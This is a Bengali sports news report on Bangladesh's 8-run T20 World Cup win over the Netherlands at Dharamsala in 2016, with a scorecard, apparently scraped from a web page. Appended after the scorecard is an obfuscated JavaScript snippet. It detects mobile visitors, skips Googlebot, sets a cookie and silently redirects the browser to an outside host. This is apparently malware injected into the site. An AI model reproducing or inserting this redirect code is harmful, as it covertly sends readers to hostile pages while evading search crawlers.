for Add
: ৯ মার্চ ২০১৬, বুধবার, ২১:১০:০৯
টি-টোয়েন্টি বিশ্বকাপ শুরুর আগে টাইগারদের নিয়ে কত শঙ্কা দর্শকদের মনে! এশিয়া কাপের ফাইনাল খেলে স্বপ্নের পরিধি বড় করেই বিশ্বকাপের বিমানে চেপেছিল মাশরাফিরা। তারপরও ধর্মশালায় বাংলাদেশের মিশন শুরুর আগে একটা ভয় ঘুরেফিরে আসছিল সবার মনে। না জানি আবার পঁচা শামুকে কাটা পড়ে মাশরাফিদের পা!
ওয়ার্ল্ড টি-টোয়েন্টির প্রথম পর্বের ব্যানারে মাশরাফিদের খেলতে হচ্ছে মূলত বাছাই পর্ব। যেখানে তাদের প্রতিপক্ষ হল্যান্ড, আয়ারল্যান্ড এবং ওমানের মত দল। নিজেদের থেকে পিছিয়ে থাকা এই দলগুলোর বিপক্ষে খেলায় সবচেয়ে বড় ভয়, ‘জিতলে কোন বাহবা নেই কিন্তু হারলেই মুন্ডুপাত।’ বিশ্বকাপের বাছাই পর্বের ম্যাচ বলে এখানে ভয়টা আরও বেশি। একটু এদিক সেদিক হয়ে গেলেই যে খানখান হয়ে যাবে সব স্বপ্ন। একারনেই ভয় সবার মনে।
ভয় কি মাশরাফিদেরও ছিল না? ছিল বটেই। তবে সেই ভয়কে নিজের মধ্যে পেয়ে বসতে দেয়নি তারা। একারণেই হল্যান্ডের বিপক্ষে ম্যাচে ৮ রানের জয় দিয়ে মিশন শুরু করতে পারলো টাইগাররা।
অবশ্য ধর্মশালায় আজ (বুধবার) ম্যাচটি কষ্ট করেই জিততে হয়েছে মাশরাফির দলকে। টাইগারদের ছুড়ে দেয়া ১৫৪ রানের লক্ষ্যে খেলতে নেবে তাসকিন, আল-আমিনদের ঘাম ঝড়িয়ে ছেড়েছে কমলা জার্সি ধারিরা। সেখানে বাংলাদেশী বোলারদের ধারহীন বোলিং আর বাজে ফিল্ডিংয়ে ম্যাচ বেরিয়ে যাওয়ারই উপক্রম হয়েছিল। স্টিফেন মাইবার্গ (২৯), বেন কুপার (২০), পিটার বোরেনের (২৯) ছোট ছোট ইনিংসে ভর করে শেষ ভাগ পর্যন্তই যে ম্যাচে ছিল তারা। শেষ দিকে ৭ বলে মুদাসসর বুখারি ১৪ রান করে ভয় জাগিয়ে দিয়ে গেলেন বেশি করে। তারপরও দ্বিতীয় ইনিংসে নিজের খেলার ধারার বিপরীতেই জয় ছিনিয়ে নিয়েছে টাইগাররা। ৪ ওভার বল করে ২১ রান দেয়া তাসকিন কোন উইকেট না পেলেও ম্যাচে সবচেয়ে কার্যকরি বোলিং করেছেন তিনিই। আল-আমিন ৩ ওভারে ২৪ রান দিয়ে নিয়েছেন ২ উইকেট। এছাড়া সাকিব আল হাসান ২টি এবং আরাফাত সানি ও মাশরাফি নিয়েছেন ১টি করে উইকেট ।
তবে বাংলাদেশের এই জয়ে বড় ভূমিকা ম্যাচ সেরা তামিম ইকবালেরই। ব্যাটিং-বোলিংয়ে অন্যরা যেখানে সেরাটা মেলে ধরতে পারেননি , সেখানে একমাত্র ব্যাতিক্রম এই বা-হাতি ওপেনার। ইনিংসের শেষ পর্যন্ত যিনি অপরাজিত থাকেন ৮৩ রান করে। নিজের ইনিংসকে হয়ত আরও বড় করতে পারতেন, বড় হতে পারতো দলীয় সংগ্রহও। কিন্তু অন্য প্রান্তে যোগ্য সমর্থনটা পেলেন কই? দ্বিতীয় উইকেটে একমাত্র সাব্বির রহমানের সঙ্গেই ৪২ রানের একটা জুটি হলো। এরপর মাহমুদউল্লাহর সঙ্গে ৩৩ রানের জুটি ছাড়া আর কোন জুটির গল্পই তো নেই বাংলাদেশের ইনিংসে। অথচ টি-টোয়েন্টি তো ব্যাটসম্যানদেরই খেলা। বাংলাদেশ কি এখানেই একটু পিছিয়ে পড়লো না?
টি-টোয়েন্টি রানের খেলা হলেও ১৫৪ পূঁজিও অনেক সময় বড় হয়ে যায়। ধর্মশালার উইকেটে হল্যান্ডের জন্য অবশ্য সে রকম কিছু ছিল না। এই দলের বেশ কিছু ক্রিকেটার কাউন্টিতে খেলায় বড় মঞ্চে নিজেদের মানিয়ে নেয়া তাদের জন্য কঠিন কিছু নয়। তাছাড়া টি-টোয়েন্টির বড় অঘটন গুলোর জন্ম দিয়েছে এই দলটিই। বাংলাদেশের বিপক্ষে টি-টোয়েন্টিতে আগের দুই দেখায় তাদের জয়ও ছিল একটি। মাশরাফি-তাসকিনদের সামলে এ ম্যাচেও তারা এগিয়ে যাচ্ছিল জয়ের দিকেই। তারপও বাংলাদেশ জয় নিয়ে মাঠ ছাড়তে পারলো হয়তো এশিয়া কাপের উদ্বিপনা নিয়ে ধর্মশালায় যেতে পারার জন্যই।
বাংলাদেশের এই জয় সমর্থক তো বটেই, খেলোয়াড়দের মনেও শীতল হাওয়াই বইয়ে দেবে। বাছাই পর্ব পেরোনোর পথে যে অন্তত এক ধাপ এগিয়ে যাওয়া হলো। এখন ১১ মার্চ আয়ারল্যান্ডের বিপক্ষে সব শঙ্কা কিংবা অস্বস্তিকে দূরে রেখেই মাঠে নামতে পারবে বাংলাদেশ।
স্কোর
বাংলাদেশ-১৫৪/৭ (তামিম ৮৩*, সৌম্য সরকার ১৫, সাব্বির ১৫)
গৌটেন ৩/২১, মিকেরেন ২/১৭
হল্যান্ড-১৪৫/৭ (স্টিফেন মাইবাগ ২৯, বেন কুপার ২০, পিটার বোরেনের ২৯)
আল-আমিন ২/২৪, সাকিব ২/২৮
ফল : বাংলাদেশ ৮ রানে জয়ী।
ম্যান অব দ্য ম্যাচ : তামিম ইকবাল খান (বাংলাদেশ)।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
For add
For add
For add
For add
for Add